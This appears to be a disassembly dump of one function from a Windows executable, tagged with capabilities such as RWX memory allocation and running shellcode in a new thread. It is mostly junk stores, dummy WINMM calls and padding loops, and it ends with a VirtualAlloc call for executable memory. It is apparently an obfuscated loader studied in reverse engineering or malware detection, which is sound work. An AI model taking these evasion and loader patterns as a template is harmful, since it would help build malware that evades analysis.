Function at 0x401020
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push ebx
push esi
or ebx, 0xffffffff
xor esi, esi
cmp dword [0x416720], 0x4aba9666
push edi
jne 0x4016e2
cmp dword [0x416724], esi
jne 0x4016e2
fld dword [0x41088c]
mov dword [0x4151c0], 0xe1
fld dword [0x410888]
mov dword [0x4151c4], esi
fld dword [0x410884]
fld dword [0x410880]
jmp 0x401094
fld dword [0x410880]
fld dword [0x410884]
fld dword [0x410888]
fld dword [0x41088c]
fxch st(3)
fxch st(1)
fxch st(2)
fxch st(1)
mov dword [0x4142e0], 0xa3
mov dword [0x4142e4], 0
xor esi, esi
jmp 0x4010d0
fld dword [0x410880]
fld dword [0x410884]
fld dword [0x410888]
fld dword [0x41088c]
fxch st(3)
fxch st(1)
fxch st(2)
fxch st(1)
cmp dword [0x4150fc], 0xe35e0f57
jne 0x4014f2
cmp dword [0x4158d8], 0xd287d004
jne 0x4014b2
cmp dword [0x4158dc], ebx
jne 0x4014b2
mov dword [0x416214], 0xc2
xor esi, esi
jmp 0x401130
fld dword [0x410880]
fld dword [0x410884]
fld dword [0x410888]
fld dword [0x41088c]
fxch st(3)
fxch st(1)
fxch st(2)
fxch st(1)
cmp dword [0x4133e8], 0x7c71acfe
jne 0x401357
cmp dword [0x4133ec], esi
jne 0x401357
cmp dword [0x416290], 0x48fdc4b4
jne 0x40130f
mov edx, 0xdd
xor edi, edi
mov byte [0x415119], 0xde
jmp 0x401174
fxch st(2)
fxch st(3)
fxch st(1)
fxch st(2)
cmp dword [0x4159d4], 0xbabdd94e
jne 0x4011fb
mov eax, 0x40
xor ecx, ecx
add eax, 1
adc ecx, esi
js 0x401187
jg 0x401197
cmp eax, 0x4e4
jb 0x401187
mov dword [0x415b98], eax
mov dword [0x415b9c], ecx
mov byte [0x41389a], 0x4c
mov byte [0x415118], 0xf0
mov dword [0x4172d0], 0xb0f82ffc
mov byte [0x416201], 0xc9
mov dword [0x415880], 0xded6f8ac
mov dword [0x415884], ebx
mov dword [0x414ca0], 0xbdd5c96
mov dword [0x414ca4], esi
mov dword [0x414650], 0xbe10d8f3
mov dword [0x414654], ebx
mov dword [0x417450], 0xdc933efb
fxch st(3)
add edx, 1
adc edi, esi
fst dword [0x414e14]
fxch st(2)
mov dword [0x414d98], 0xe15fc472
fst dword [0x414f34]
mov dword [0x414d9c], ebx
fxch st(1)
mov dword [0x413e98], 0x4e29047d
fst dword [0x415bac]
mov dword [0x413e9c], esi
fxch st(3)
fst dword [0x414fc4]
js 0x40116c
jg 0x401254
cmp edx, 0x197
jb 0x40116c
fstp st(2)
mov dword [0x416130], edx
fstp st(0)
mov dword [0x416134], edi
fstp st(1)
mov dword [0x416698], 0x52588dc3
fstp st(0)
mov dword [0x41669c], esi
fld dword [0x41087c]
mov dword [0x4142e0], 0xc44ce927
fstp dword [0x414e0c]
mov dword [0x4142e4], ebx
fld dword [0x410878]
mov dword [0x414580], 0xa3668ef8
fstp dword [0x414fd4]
mov dword [0x414584], ebx
fld dword [0x410874]
mov dword [0x413ba4], 0xa1893e6f
fstp dword [0x4162a0]
mov byte [0x4161c2], 0x61
fld dword [0x410870]
mov dword [0x413388], 0xeb6c0962
fstp dword [0x414e38]
mov dword [0x41338c], ebx
mov dword [0x413e30], 0xc3abb32a
mov dword [0x413e34], ebx
mov dword [0x4170c0], 0xd4d7cfa9
mov dword [0x415ac0], 0xf98d82fa
jmp 0x401317
fstp st(3)
fstp st(1)
fstp st(0)
fstp st(0)
fld dword [0x41086c]
push 0x416218
fstp dword [0x415b94]
mov byte [0x413dbc], 0
call dword [sym.imp.WINMM.dll_waveOutSetVolume]
mov dword [0x416ec0], 0x872554e3
mov dword [0x416ec4], ebx
mov dword [0x416170], 0x97e73760
mov dword [0x416174], ebx
jmp 0x40135f
fstp st(3)
fstp st(1)
fstp st(0)
fstp st(0)
fld dword [0x410868]
mov eax, dword [0x416210]
fstp dword [0x4162a0]
push str.T4_NX
fld dword [0x410864]
push eax
fstp dword [0x414b34]
mov dword [0x416130], 0x3c4fe813
mov dword [0x416134], esi
mov byte [0x415118], 0xf6
call dword [sym.imp.WINMM.dll_midiInReset]
fld dword [0x410860]
mov eax, dword [0x416214]
fstp dword [0x4162a0]
fld dword [0x41085c]
inc eax
fstp dword [0x414f24]
mov dword [0x416278], 0xd2d3176d
mov dword [0x416210], 0x16bbecd6
mov dword [0x4145c8], 0x9499e9a3
mov dword [0x4145cc], ebx
mov dword [0x4151c0], 0x2ed4e35d
mov dword [0x4151c4], esi
mov dword [0x4172fc], 0xa73296b7
mov dword [0x416214], eax
cmp eax, 0x23a
jl 0x401110
fld dword [0x410858]
push 0xa73296b7
fst dword [0x41389c]
push 0x415ba0
fld dword [0x410854]
push 0x414f28
fstp dword [0x414ac8]
push ecx
mov dword [0x4169a8], 0x619b0db
fstp dword [esp]
mov dword [0x4169ac], esi
call dword [sym.imp.WINMM.dll_auxSetVolume]
fld dword [0x410850]
fstp dword [0x415b94]
mov dword [0x417748], 0xab00e06b
fld dword [0x41084c]
mov dword [0x41774c], ebx
fstp dword [0x41389c]
mov dword [0x414fe0], 0xb79aeace
mov dword [0x414fe4], ebx
mov dword [0x416210], 0x9405e4ca
mov dword [0x4151c0], 0xab259db3
mov dword [0x4151c4], ebx
mov dword [0x415ed0], 0xcc9bc137
mov dword [0x415ed4], ebx
xor esi, esi
jmp 0x4014ba
fstp st(3)
fstp st(1)
fstp st(0)
fstp st(0)
fld dword [0x410848]
mov dword [0x416880], 0x919957d4
fstp dword [0x414fcc]
mov dword [0x416884], ebx
mov dword [0x414fd8], 0x14a7ef32
mov dword [0x414fdc], esi
mov dword [0x4150e8], 0x2faa3697
jmp 0x4014fa
fstp st(3)
fstp st(1)
fstp st(0)
fstp st(0)
mov ecx, dword [0x415b90]
fld dword [0x410844]
mov edx, dword [0x4172fc]
fstp dword [0x4151bc]
fld dword [0x410840]
push ecx
push edx
fstp dword [0x415c1c]
fld dword [0x414f24]
push ecx
fstp dword [esp]
push 0x416178
mov dword [0x415b98], 0x8050f2f6
mov dword [0x415b9c], ebx
mov dword [0x416a00], 0x382a133
mov dword [0x416a04], esi
call dword [sym.imp.WINMM.dll_waveOutGetErrorTextA]
fld dword [0x41083c]
mov edi, 1
fstp dword [0x414f20]
add dword [0x4142e0], edi
fld dword [0x410838]
fstp dword [0x415b94]
mov dword [0x417030], 0xd69ee3a3
mov dword [0x416c70], 0x2d66ccc1
adc dword [0x4142e4], esi
mov dword [0x416c74], esi
mov dword [0x413570], 0x79478451
mov dword [0x413574], esi
mov dword [0x417748], 0x9d8a6881
mov dword [0x41774c], ebx
mov dword [0x416210], 0x8a50db04
js 0x4010b0
jg 0x4015da
cmp dword [0x4142e0], 0x2df
jb 0x4010b0
fld dword [0x410834]
push 0x417008
push 0x416138
fstp dword [0x414ea8]
fld dword [0x410830]
push 0x414df0
push 0x413de0
fstp dword [0x414fcc]
push 0xa214209a
mov dword [0x413d7c], 0xa214209a
mov dword [0x4176c4], 0x76cc94db
mov dword [0x416e10], 0x860de0dc
mov dword [0x416e14], ebx
mov dword [0x4166c8], 0xe51d7fcc
mov dword [0x415c58], 0x5369ceb5
mov dword [0x415c5c], esi
mov dword [str.hX_fO_f_], 0xc44196e0
call dword [sym.imp.WINMM.dll_waveInGetPosition]
add dword [0x4151c0], edi
mov dword [str.1bK_], 0x3901252f
mov dword [0x414d4c], esi
adc dword [0x4151c4], esi
mov dword [0x417488], 0xb1f861f9
mov dword [0x4164e8], 0x43fa484d
mov dword [0x4164ec], esi
js 0x401074
jg 0x4016a7
cmp dword [0x4151c0], 0x2a6
jb 0x401074
fld dword [0x41082c]
mov dword [0x413704], esi
fstp dword [0x4162a4]
mov byte [0x413ddb], 0xfd
fld dword [0x410828]
mov dword [0x415b90], 0x20fff84b
fstp dword [0x414c54]
mov dword [0x413700], 0x215773cf
xor esi, esi
cmp dword [0x414fe0], 0xc6bd1405
mov edi, dword [sym.imp.WINMM.dll_mmioSetInfo]
jne 0x4019c5
cmp dword [0x414fe4], ebx
jne 0x4019c5
cmp dword [0x4172fc], 0x99767c98
jne 0x40192f
mov dword [0x416210], 0xba
mov edi, edi
cmp dword [0x414fe0], 0xd200292f
jne 0x40181d
cmp dword [0x414fe4], ebx
jne 0x40181d
cmp dword [0x4172f8], 0x79f1603d
je 0x401bf6
fld dword [0x410824]
push ecx
fstp dword [0x41616c]
mov dword [0x41717c], 0x6667175e
fld dword [0x410820]
mov dword [0x4137e8], 0x6a9ab994
fstp dword [0x414f00]
mov dword [0x4137ec], esi
fld dword [0x4162a4]
mov byte [0x415118], 0x77
fstp dword [esp]
push 0x414fe8
mov dword [0x414fd8], 0xc5ee452e
mov dword [0x414fdc], ebx
mov dword [0x417058], 0xd6e2afa0
mov byte [0x41613e], 0x6e
mov dword [0x4135e8], 0x7454941
mov dword [0x4135ec], esi
call edi
fld dword [0x41081c]
fstp dword [0x413d00]
mov dword [0x416170], 0x89a262a6
mov dword [0x416174], ebx
mov dword [0x416608], 0xa62b90c8
mov dword [0x41660c], ebx
mov dword [0x413d7c], 0x3166cd8c
mov dword [0x416620], 0xee160091
mov dword [0x416624], ebx
mov dword [0x415258], 0x631dabbe
mov dword [0x41525c], esi
fld dword [0x410818]
push 0x417290
push ebx
fstp dword [0x414fd0]
fld dword [0x410814]
push 0xcdb9aa88
push 0x4162a8
fstp dword [0x414f38]
mov dword [0x417748], 0xcdb9aa88
mov dword [0x41774c], ebx
mov dword [0x416234], 0x4c905380
mov byte [0x413ddb], 0x2b
mov dword [0x417240], 0x8240f9e6
mov byte [0x415118], 0x51
call dword [sym.imp.WINMM.dll_auxGetNumDevs]
mov eax, dword [0x416210]
inc eax
mov dword [0x415020], 0x554a9de1
mov dword [0x413158], 0x100ba0d5
mov dword [0x41315c], esi
mov dword [0x416170], 0xf688200c
mov dword [0x416174], ebx
mov dword [0x416210], eax
cmp eax, 0x318
jl 0x401720
fld dword [0x410810]
push 0x414df0
fstp dword [0x413b14]
mov dword [0x413ba4], 0x43ddce
mov dword [0x417748], 0x65a2e1ae
mov dword [0x41774c], esi
call dword [sym.imp.WINMM.dll_mmioRenameA]
mov dword [0x41706c], 0x7fe196cb
mov dword [str.__iw], 0xdc3241df
mov dword [0x4158e4], ebx
mov byte [0x413dca], 0xe7
mov dword [0x4137c8], 0xb32b46bb
mov dword [0x4137cc], ebx
mov dword [0x416170], 0x3412eab7
mov dword [0x416174], esi
fld dword [0x41080c]
mov edx, dword [0x415b9c]
mov eax, dword [0x415b98]
fstp dword [0x415c1c]
fld dword [0x410808]
push edx
fstp dword [0x4162a4]
push eax
fld dword [0x410804]
push 0x4137c8
fstp dword [0x414f24]
mov dword [0x413ddc], 0xe147370e
mov dword [0x4166cc], 0xb9e83583
call dword [sym.imp.WINMM.dll_timeEndPeriod]
fld dword [0x410800]
fstp dword [0x414fcc]
mov dword [0x414348], 0xab3045f9
fld dword [0x4107fc]
mov dword [0x41434c], ebx
fstp dword [0x41616c]
mov byte [0x413ddb], 0xae
mov dword [0x416cf8], 0x3cf2a8c2
mov dword [0x416cfc], esi
mov byte [0x415118], 0xd4
cmp dword [0x417748], 0x42f47ab3
jne 0x4022b9
cmp dword [0x41774c], esi
jne 0x4022b9
mov dword [0x416210], 0x2f
jmp 0x4019f0
mov dword [0x4166c8], 0xca
xor esi, esi
lea esp, [esp]
cmp dword [0x417748], 0x5870aef2
fld dword [0x4107f8]
jne 0x40211e
cmp dword [0x41774c], esi
jne 0x40211e
cmp dword [0x416130], 0x9832f42e
jne 0x4020ad
cmp dword [0x416134], ebx
jne 0x4020ad
mov eax, dword [0x4176c4]
mov dword [0x414fd8], 0x91
mov dword [0x414fdc], esi
cmp eax, 0xf455fb72
jne 0x401fc4
cmp dword [0x4171a0], 0x278bafd
jne 0x401f4e
fld dword [0x4107f4]
mov edx, 0xa2
fstp dword [0x4162a0]
xor edi, edi
fld dword [0x4107f0]
mov dword [0x415b90], 0x14fc9db6
fstp dword [0x414f20]
mov dword [0x4166cc], 0x6f04ceb3
fld dword [0x4107ec]
fstp dword [0x414f24]
mov eax, 0xf2
xor ecx, ecx
add eax, 1
fst dword [0x415c14]
adc ecx, esi
mov dword [0x4167c8], 0x5c99ace6
mov dword [0x4167cc], esi
mov dword [0x4172a8], 0xf5a0326b
mov byte [0x413830], 0x49
mov dword [0x415064], 0xdec41829
js 0x401ab4
jg 0x401af5
cmp eax, 0x4cb
jb 0x401ab4
add edx, 1
adc edi, esi
mov dword [0x4142e0], eax
mov dword [0x4142e4], ecx
mov dword [0x413e60], 0x512982f4
mov dword [0x413e64], esi
mov dword [0x415a48], 0xfd8974c1
mov byte [0x416188], 0x14
mov dword [0x417738], 0x53ece923
mov dword [0x41773c], esi
mov byte [0x413da5], 0x7f
js 0x401aad
jg 0x401b51
cmp edx, 0x4c9
jb 0x401aad
fstp st(0)
mov dword [0x414fe0], edx
fld dword [0x4107e8]
mov dword [0x414fe4], edi
fstp dword [0x414fcc]
mov word [0x416149], 0x676
fld dword [0x4107e4]
mov dword [0x413ddc], 0xd9f80e15
fstp dword [0x4139f0]
mov dword [0x413eb0], 0x604e8683
fld dword [0x4107e0]
mov dword [0x413eb4], esi
fstp dword [0x414fd4]
mov dword [0x4151c0], 0x6eec1320
mov dword [0x4151c4], esi
mov dword [0x4166f8], 0x6aa6a2e7
mov dword [0x4166fc], esi
mov byte [0x413d82], 0xaf
mov dword [0x414fd8], 0x545bbcca
mov dword [0x414fdc], esi
mov dword [0x413ba4], 0x659c95c3
mov dword [0x4159dc], 0xf71c89cd
jmp 0x401f50
mov edi, dword [sym.imp.WINMM.dll_midiOutCacheDrumPatches]
mov dword [0x416170], 0x77
mov dword [0x416174], esi
lea esp, [esp]
mov eax, 0x6e
mov dword [0x414fe0], eax
mov dword [0x414fe4], 0
xor esi, esi
jmp 0x401c30
cmp eax, 0x16fea3d0
jne 0x401d57
cmp dword [0x414fe4], esi
jne 0x401d57
mov dword [0x416170], 0xcc61d0ab
mov dword [0x416174], ebx
mov dword [0x4142e0], 0x67ce3f6c
mov dword [0x4142e4], esi
mov dword [0x415b98], 0xfef120b8
mov dword [0x415b9c], ebx
mov byte [0x415118], 0x83
mov eax, 0x218
mov dword [0x4176c4], 0x27e
mov edx, 0x7778fc72
mov ecx, 0xa0d50d17
jmp 0x401ca0
dec eax
fld dword [0x4107dc]
fstp dword [0x414c70]
mov dword [0x4137d0], ecx
fld dword [0x4107d8]
mov dword [0x4137d4], ebx
fstp dword [0x413cc8]
mov dword [0x415cd0], edx
mov dword [0x415cd4], esi
mov dword [0x416be8], 0x5fc4e7b6
mov dword [0x416bec], esi
jne 0x401ca0
fld dword [0x4107d4]
push 0x417300
push 0xffffffffffffff83
fstp dword [0x414ed4]
push 0x416138
push 0x416138
mov dword [0x413ba4], 0xb867f62
mov byte [0x41620d], 0x51
mov dword [0x416210], 0x81876e5d
mov byte [0x416164], 0x3d
call edi
fld dword [0x4107d0]
fstp dword [0x414e44]
mov dword [0x414580], 0xe8a92018
mov dword [0x414584], ebx
mov byte [0x415118], 0x90
mov dword [0x414cc0], 0xe21fb052
mov dword [0x414cc4], ebx
mov eax, dword [0x416134]
mov ecx, dword [0x416130]
push str.T4_NX
push eax
push ecx
push str.T4_NX
mov dword [0x417718], 0x761675f5
mov dword [0x41771c], esi
mov byte [0x41384f], 0x6a
mov dword [0x414fd8], 0x85a263e6
mov dword [0x414fdc], ebx
call dword [sym.imp.WINMM.dll_midiInGetID]
fld dword [0x4107cc]
mov eax, dword [0x414fe0]
fstp dword [0x4162a4]
fld dword [0x4107c8]
add eax, 1
adc dword [0x414fe4], esi
fstp dword [0x413b34]
mov dword [0x416ae0], 0xb67b4149
mov dword [0x416ae4], ebx
mov dword [0x415b90], 0x9d9a382f
mov dword [0x414fe0], eax
js 0x401c30
jg 0x401df3
cmp eax, 0x155
jb 0x401c30
fld dword [0x4107c4]
push ecx
fstp dword [0x414fcc]
mov dword [0x416170], 0x18bafd47
fld dword [0x4107c0]
mov dword [0x416174], esi
fstp dword [0x414f24]
mov dword [0x413ba4], 0xec545958
fld dword [0x4107bc]
mov dword [0x416130], 0xea584d3b
fstp dword [0x414f6c]
mov dword [0x416134], ebx
fld dword [0x41728c]
mov dword [0x417208], 0x2f9d8eb
fstp dword [esp]
push 0x4137c8
fld dword [0x414fd0]
push esi
push 0x18bafd47
push ecx
fstp dword [esp]
mov byte [str.Gq_o_], 0x2f
call dword [sym.imp.WINMM.dll_joyGetPos]
fld dword [0x4107b8]
add dword [0x414fe0], 1
fstp dword [0x4162a0]
fld dword [0x4107b4]
mov byte [0x4161d1], 0x7b
fstp dword [0x414f20]
adc dword [0x414fe4], esi
js 0x401c10
jg 0x401ebb
cmp dword [0x414fe0], 0x3bb
jb 0x401c10
fld dword [str.xpN]
push section..data
fstp dword [0x415b94]
push 0x4166d0
fld dword [0x4107ac]
fstp dword [0x414f20]
call dword [sym.imp.WINMM.dll_mmioDescend]
fld dword [0x4107a8]
mov dword [0x414598], 0xfd76dd0b
fstp dword [0x413d74]
mov dword [0x41459c], ebx
mov dword [0x413ddc], 0x728879bc
mov dword [0x416fc8], 0xef736ad5
mov dword [0x416fcc], ebx
mov dword [0x414fd8], 0x3c64a205
mov dword [0x414fdc], esi
mov dword [0x417748], 0xd7a374a9
mov dword [0x41774c], ebx
mov dword [0x416170], 0xc8b075cf
mov dword [0x416174], ebx
jmp 0x401c10
fstp st(0)
movzx ecx, byte [0x413ddb]
movzx edx, byte [0x415118]
mov eax, dword [0x416174]
push ecx
mov ecx, dword [0x416170]
push edx
push 0x414f28
push eax
push ecx
mov byte [str.sg8_], 0x70
mov dword [0x416278], 0x3ba77d8
mov dword [0x413d7c], 0x83717483
mov dword [0x4176c4], 0xf8d54047
call dword [sym.imp.WINMM.dll_midiOutSetVolume]
mov dword [0x415b98], 0x1b57375c
fld dword [0x4107f8]
mov dword [0x415b9c], esi
mov dword [0x416214], 0x9776f43f
mov byte [0x413ddb], 0xc
fld dword [0x4107a4]
add dword [0x414fd8], 1
fstp dword [0x41395c]
mov eax, 0x376b9f73
fld dword [0x4107a0]
mov dword [0x4172fc], 0xfa239552
adc dword [0x414fdc], esi
fstp dword [0x414fd4]
fld dword [0x41079c]
mov dword [0x413ddc], 0x2fe84f78
fstp dword [0x415bb8]
mov dword [0x413ba4], 0xe36b8726
mov dword [0x4176c4], eax
mov dword [0x4159c0], 0x23c56a66
mov dword [0x414cd8], 0xdc6dbe91
mov dword [0x414cdc], ebx
mov byte [0x41389a], 0xe2
js 0x401a53
jg 0x402056
cmp dword [0x414fd8], 0x4fc
jb 0x401a53
fstp st(0)
mov dword [0x417024], 0xef2a7a57
fld dword [0x410798]
mov byte [0x41613a], 0x97
fstp dword [0x4162a0]
mov dword [0x415e80], 0x6bab5d68
fld dword [0x410794]
mov dword [0x415e84], esi
fstp dword [0x414fa0]
mov dword [0x4172fc], 0x2a72a2b2
mov dword [0x413440], 0x968f9447
mov dword [0x413444], ebx
jmp 0x4020af
fstp st(0)
fld dword [0x410790]
mov dword [0x416210], 0x470556d3
fstp dword [0x414df0]
mov dword [0x4166c8], 0xf3448fad
fld dword [0x41078c]
mov dword [0x413ddc], 0x24272440
fstp dword [0x414f20]
mov byte [0x415119], 0x2a
fld dword [0x410788]
mov dword [0x415648], 0x50d5208b
fstp dword [0x41389c]
mov dword [0x41564c], esi
mov dword [0x4170a4], 0x9cfb4dc0
mov dword [0x4166cc], 0xe024a633
jmp 0x402120
fstp st(0)
mov edx, dword [0x413d7c]
fld dword [0x410784]
push 0x415ba0
fst dword [0x41728c]
push 0x416178
push edx
push ecx
fstp dword [esp]
mov dword [0x4172b8], 0x9f0d61fb
mov dword [0x4142e0], 0x96413b3e
mov dword [0x4142e4], ebx
mov dword [0x417748], 0xf0d6dc42
mov dword [0x41774c], ebx
call dword [sym.imp.WINMM.dll_waveInPrepareHeader]
mov eax, dword [0x4166c8]
inc eax
mov dword [0x415890], 0xdab572
mov dword [0x415894], esi
mov dword [0x414fe0], 0xe19bd02a
mov dword [0x414fe4], ebx
mov dword [0x415174], 0xd9869016
mov dword [0x4151a0], 0xbcdabfbc
mov dword [0x4166c8], eax
cmp eax, 0x2e7
jl 0x401a00
mov eax, dword [0x416210]
fld dword [0x410780]
fstp dword [0x414f90]
inc eax
fld dword [0x41077c]
mov dword [0x4166cc], 0xc177e1b7
fstp dword [0x414f24]
mov byte [0x4161ce], 0xfb
mov dword [0x415b98], 0x2db63484
mov dword [0x415b9c], esi
mov dword [0x414fe0], 0x11a4c7ed
mov dword [0x414fe4], esi
mov dword [0x416238], 0xd8aa719
mov dword [0x414dc8], 0xe5d0feae
mov dword [0x414dcc], ebx
mov dword [0x416210], eax
cmp eax, 0x2ca
jl 0x4019f0
mov eax, dword [0x416214]
fld dword [0x410778]
mov ecx, dword [0x41774c]
fstp dword [0x413b28]
mov edx, dword [0x417748]
fld dword [0x410774]
push 0x4138a0
fstp dword [0x4162a0]
push 0x417290
push eax
push ecx
push edx
mov dword [0x417290], 0x74388f87
mov dword [0x4176c4], 0x829cb528
mov dword [0x414fe0], 0xfefac889
mov dword [0x414fe4], ebx
call dword [sym.imp.WINMM.dll_mciGetDeviceIDW]
fld dword [0x410770]
mov dword [0x414dac], esi
fstp dword [0x4162a4]
mov byte [0x413da0], 0xe8
mov dword [0x414da8], 0x7146894b
xor esi, esi
push 0x40
push 0x1000
push 0x100000
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
cmp dword [0x413d7c], 0xa1a14cfd
mov dword [ebp - 4], eax
jne 0x4028e7
mov dword [0x415b98], 0x28
mov dword [0x415b9c], esi
nop
mov dword [0x4142e0], 0xee
mov dword [0x4142e4], 0
xor esi, esi
jmp 0x402310
cmp dword [0x4166c8], 0xd35f6be7
jne 0x40269e
cmp dword [0x413ba4], 0xda60ec96
jne 0x402627
mov dword [0x4176c4], 0x19
lea ebx, [ebx]
mov edi, dword [sym.imp.WINMM.dll_midiInGetID]
mov dword [0x413ba4], 0xbf
xor esi, esi
jmp 0x402360
cmp dword [0x417748], 0x6374dc2d
jne 0x40249c
cmp dword [0x41774c], esi
jne 0x40249c
cmp dword [0x416210], 0xf4fb72b1
jne 0x402433
fld dword [0x41076c]
mov dword [0x4172fc], 0x449
fstp dword [0x414fb4]
mov dword [0x415b98], 0xedbeb129
fld dword [0x410768]
mov dword [0x415b9c], ebx
fstp dword [0x413b78]
mov byte [0x416140], 0x52
fld dword [0x410764]
mov dword [0x416548], 0x209f2d67
fstp dword [0x414e70]
mov dword [0x41654c], esi
mov dword [0x4137d0], 0x3dfa48e0
mov dword [0x4137d4], esi
mov dword [0x416130], 0xb86950d5
mov dword [0x416134], ebx
mov byte [0x41389a], 0xcd
mov dword [0x4172b4], 0x620a5ae1
mov dword [0x415ef0], 0xffeda4cd
mov dword [0x415ef4], ebx
mov dword [0x415040], 0xcb692935
mov byte [0x415118], 0x45
fld dword [0x410760]
push 0x417290
fstp dword [0x4162a4]
push ecx
fld dword [0x415b94]
mov dword [0x4134e8], 0xfd536a80
fstp dword [esp]
push 0x415910
mov dword [0x4134ec], ebx
mov dword [0x414968], 0xb1112b72
mov dword [0x41496c], ebx
mov dword [0x416380], 0xce1585bb
mov dword [0x416384], ebx
call dword [sym.imp.WINMM.dll_mixerGetLineInfoA]
fld dword [0x41075c]
fstp dword [0x4162a4]
mov byte [0x415118], 0x94
movzx eax, byte [0x415119]
push eax
push 0x4151c8
push 0x415910
push 0x4169c0
mov dword [0x414fd8], 0xbf7851ec
mov dword [0x414fdc], ebx
mov dword [0x4142e0], 0xb5825d39
mov dword [0x4142e4], ebx
mov dword [0x4176d0], 0x76eefbce
mov dword [0x4176d4], esi
mov dword [0x41748c], 0xa737bdb5
call edi
mov eax, dword [0x413ba4]
fld dword [0x410758]
inc eax
fstp dword [0x414f34]
mov dword [0x413ddc], 0x9dee7eda
mov dword [0x415698], 0xdef0e157
mov dword [0x41569c], ebx
mov dword [0x413ba4], eax
cmp eax, 0x202
jl 0x402360
fld dword [0x410754]
mov eax, dword [0x4176c4]
fstp dword [0x414fd0]
inc eax
fld dword [0x410750]
mov dword [0x414030], 0x4d15105b
fstp dword [0x413bf0]
mov dword [0x414034], esi
fld dword [0x41074c]
mov byte [0x413dae], 0xca
fstp dword [0x414e6c]
mov byte [0x4161ec], 0xd4
fld dword [0x410748]
mov byte [str.0fB], 0xd4
fstp dword [0x41728c]
mov dword [0x4132b0], 0xbc90665f
fld dword [0x410744]
mov dword [0x4132b4], ebx
fstp dword [0x415bf8]
mov byte [0x4161af], 0xb3
mov dword [0x4176c4], eax
cmp eax, 0x278
jl 0x402340
movzx ecx, byte [0x41389a]
fld dword [0x410740]
push ecx
fstp dword [0x4162a4]
push 0x414fe8
mov dword [0x416348], 0x7b3e91cb
mov dword [0x41634c], esi
mov byte [0x416195], 0x81
mov dword [0x416310], 0xf42da8bd
mov dword [0x416314], ebx
mov dword [0x414650], 0x5f93dcf9
mov dword [0x414654], esi
call dword [sym.imp.WINMM.dll_waveInGetPosition]
mov dword [0x415964], 0x89586607
fld dword [0x41073c]
xor esi, esi
fstp dword [0x414fd4]
mov edx, dword [0x416210]
fld dword [0x410738]
movzx eax, byte [0x413ddb]
fstp dword [0x41728c]
push 0x414f28
push 0x415c48
push edx
push eax
mov byte [0x415118], 0xa
mov dword [0x4172fc], 0x6b0d78db
mov dword [0x4174a8], 0x7c74240f
mov byte [0x413dc6], 0xf1
call dword [sym.imp.WINMM.dll_midiDisconnect]
mov byte [0x41389b], 0xcd
fld dword [0x410734]
mov dword [0x4167c8], 0x46f07272
fstp dword [0x414f20]
mov dword [0x4167cc], esi
mov byte [0x415119], 0xd9
fld dword [0x410730]
mov ecx, dword [0x413ddc]
mov edx, dword [0x415b9c]
fstp dword [0x41616c]
fld dword [0x41072c]
mov eax, dword [0x415b98]
push 0x414f28
fstp dword [0x414a64]
fld dword [0x410728]
push ecx
push edx
fstp dword [0x4151bc]
push eax
mov dword [0x4176c4], 0x87ff5d15
mov dword [0x416214], 0x9206c91f
mov dword [0x4134f8], 0xa15098f3
mov dword [0x4134fc], ebx
call dword [sym.imp.WINMM.dll_midiInAddBuffer]
fld dword [0x410724]
mov edi, 1
fstp dword [0x414f24]
add dword [0x4142e0], edi
mov dword [0x41729c], 0xf005828c
mov dword [0x416c10], 0xa76844c
adc dword [0x4142e4], esi
mov dword [0x416c14], esi
mov dword [0x415458], 0xb75e700b
mov dword [0x41545c], ebx
js 0x402310
jg 0x402764
cmp dword [0x4142e0], 0x1e5
jb 0x402310
fld dword [0x410720]
mov ecx, dword [0x4166cc]
fstp dword [0x413ad4]
push ecx
fld dword [0x41071c]
mov dword [0x415b98], 0x7128aa48
fstp dword [0x414fcc]
mov dword [0x415b9c], esi
mov byte [0x413d90], 0x92
call dword [sym.imp.WINMM.dll_midiInGetErrorTextW]
fld dword [0x410718]
add dword [0x4142e0], edi
fstp dword [0x415b94]
mov dword [0x4172fc], 0xc1cf0048
adc dword [0x4142e4], esi
js 0x4022f0
jg 0x4027da
cmp dword [0x4142e0], 0x293
jb 0x4022f0
fld dword [0x410714]
mov dword [0x4151c4], esi
fstp dword [0x414fcc]
mov dword [0x41481c], esi
fld dword [0x410710]
mov dword [0x416e3c], esi
fstp dword [0x414ba8]
mov dword [0x415b9c], esi
fld dword [0x41070c]
mov dword [0x413edc], esi
fstp dword [0x414fd0]
mov dword [0x41442c], esi
fld dword [0x410708]
mov dword [0x413ba4], 0x6b80ce02
fstp dword [0x414e84]
mov dword [0x4172f0], 0xe2778559
fld dword [0x410704]
mov dword [0x415f48], 0xce0adc25
fstp dword [0x414f20]
mov dword [0x415f4c], ebx
mov dword [0x4151c0], 0x4c1ccd81
mov dword [0x414cd8], 0xa95ef5c7
mov dword [0x414cdc], ebx
mov dword [0x416214], 0xe5d9a8af
mov dword [0x414818], 0x41465b9c
mov dword [str._A5d], 0x6496c391
mov dword [0x4171e4], 0x97bc654
mov dword [0x415b98], 0x624907e4
mov dword [0x414478], 0xaeed1bfa
mov dword [0x41447c], ebx
mov dword [0x417710], 0xa4c50f25
mov dword [0x417714], ebx
mov dword [0x413ed8], 0x333768d7
mov dword [0x414428], 0x11d7b111
mov byte [0x41389b], 0x16
xor esi, esi
cmp dword [0x4142e0], 0x347d968f
jne 0x402ebd
cmp dword [0x4142e4], esi
jne 0x402ebd
mov dword [0x413ddc], 0x55
lea ecx, [ecx]
mov edi, dword [sym.imp.WINMM.dll_waveOutGetDevCapsW]
mov eax, 0xf2
mov dword [0x417748], eax
mov dword [0x41774c], 0
xor esi, esi
lea esp, [esp]
cmp eax, 0x68ca2aa0
jne 0x402d2c
cmp dword [0x41774c], esi
jne 0x402d2c
mov eax, 0x71
mov dword [0x413d7c], eax
jmp 0x402960
cmp dword [0x416d98], 0x2a433e44
jne 0x402c02
cmp dword [0x416d9c], esi
jne 0x402c02
cmp dword [0x415f08], 0xf636a47d
jne 0x402bb4
cmp dword [0x415f0c], ebx
jne 0x402bb4
cmp dword [0x417534], 0xc7db5e73
jne 0x402b4e
cmp dword [0x415200], 0x72c9eb8f
jne 0x402ab4
cmp dword [0x415204], esi
jne 0x402ab4
cmp dword [0x4166cc], 0xd26e0e2e
jne 0x402a48
mov dword [0x4166c8], 0x3b4
mov dword [0x416130], 0xeb35a312
mov dword [0x416134], ebx
mov dword [0x4137e8], 0x7ad948a9
mov dword [0x4137ec], esi
mov dword [0x41700c], 0xeed7d43d
mov dword [0x4151c0], 0xef43e950
mov dword [0x4151c4], ebx
